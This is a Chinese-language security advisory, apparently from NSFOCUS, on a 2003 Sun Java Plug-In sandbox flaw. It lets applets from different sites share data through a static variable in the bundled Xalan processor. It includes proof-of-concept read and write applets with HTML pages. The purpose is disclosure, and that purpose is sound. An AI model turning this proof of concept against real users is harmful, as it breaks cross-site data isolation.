安全研究

安全漏洞
Sun Java跨站Applet Sandbox安全模型冲突漏洞

发布日期:2003-10-20
更新日期:2003-10-24

受影响系统:
Sun Java Plug-In 1.4.2_01
描述:
BUGTRAQ  ID: 8857

Sun Java 2 SDK是一款Java实现平台。

Sun Java实现存在一个漏洞,允许Java Applet违反sandbox安全模型,读/写访问不同域中数据。

来自不同站点的跨站(Cross-Site)applet可通过未文档化JDK静态变量共享数据域。当更改这些变量JDK内部状态会遭到破坏和部分功能不正常。这尤其牵涉到依靠org.apache.xalan.processor.XSLProcessorVersion类进行XML处理时,会导致对sandbox安全模型冲突,使未标记applet能未授权访问标记applet使用的数据。

<*来源:Marc Schoenefeld (marc.schoenefeld@uni-muenster.de
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=106668580503902&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Marc Schoenefeld (marc.schoenefeld@uni-muenster.de)提供了如下测试方法:

Two applets,
- 一个在siteA: www.siteA.org => Read.html / ReadApplet.class
- 一个在siteB: www.siteB.org => Write.html / WriteApplet.class

siteB的Applet可以共享一个变量,这个变量也在siteA使用。因此数据保护不能保证,未标记applet可以通过标记的applet或者干涉XML处理获取存储在这个变量里的数据:

==========READAPPLET=========================
/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

public void paint(Graphics g)
{

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}

static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERSION);
}
}
==========READAPPLET=========================

==========WRITEAPPLET=========================
import java.awt.Graphics;


public class WriteApplet extends java.applet.Applet {
public void paint(Graphics g)
{
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
}


static {
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
}
}
==========WRITEAPPLET=========================


=========Write.html============================
<HTML>
<BODY BGCOLOR=#66FF66>
<PRE>
WriteApplet, write to variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

========Read.html=============================
<HTML>
<BODY BGCOLOR=#6666FF>
<PRE>
ReadApplet, read from variable
Marc (marc@org.illegalaccess)
</PRE>
<applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

建议:
厂商补丁:

Sun
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://sunsolve.sun.com/security

浏览次数:2828
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障